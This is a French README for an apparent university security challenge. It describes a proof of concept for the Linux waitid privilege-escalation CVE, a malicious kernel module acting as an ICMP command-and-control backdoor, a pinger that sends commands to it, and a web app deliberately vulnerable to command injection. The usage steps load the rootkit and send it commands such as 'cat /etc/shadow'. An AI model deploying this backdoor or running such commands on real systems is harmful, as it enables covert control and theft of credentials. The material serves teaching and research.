
Ce dépôt contient une démonstration de CVE-2017-5123, une porte dérobée de commande et contrôle via ICMP, ainsi qu'une application web vulnérable à la CWE-78 (Injection de commandes système).
Fait partie de CSC 4308 - Défi 3.
Ce projet illustre trois composants de recherche en sécurité distincts :
lkm/rootkit.c)Une preuve de concept pour la vulnérabilité de l'appel système waitid introduite dans le noyau Linux 4.13. Cette vulnérabilité permet une élévation de privilèges et une évasion de bac à sable.
lkm/lkm.c)Un module noyau Linux (LKM) malveillant qui implémente un canal de commande et contrôle clandestin via des paquets d'écho ICMP (ping).
25678vulnerable-app/)Une application de partage de fichiers React + Node.js vulnérable à l'injection de commandes système.
pinger/data-ping.c)Un utilitaire permettant d'envoyer des requêtes d'écho ICMP conçues avec des charges utiles personnalisées pour communiquer avec la porte dérobée du rootkit kernel.
cd lkm
make
sudo insmod lkm.ko
cd ../pinger
gcc -o data-ping data-ping.c
# Doit être exécuté en root pour utiliser les sockets bruts
sudo ./data-ping <ip-cible> "whoami"
sudo ./data-ping localhost "ls -la /root"
sudo ./data-ping 192.168.1.100 "cat /etc/shadow"
sudo rmmod lkm
make reload
# Compiler le frontend
cd vulnerable-app/frontend
npm run build
# Copier le build dans le backend
cp -r build ../backend/
# Démarrer le serveur backend (sert à la fois l'API et le frontend)
cd ../backend
npm start
L'application sera disponible à l'adresse http://localhost:3001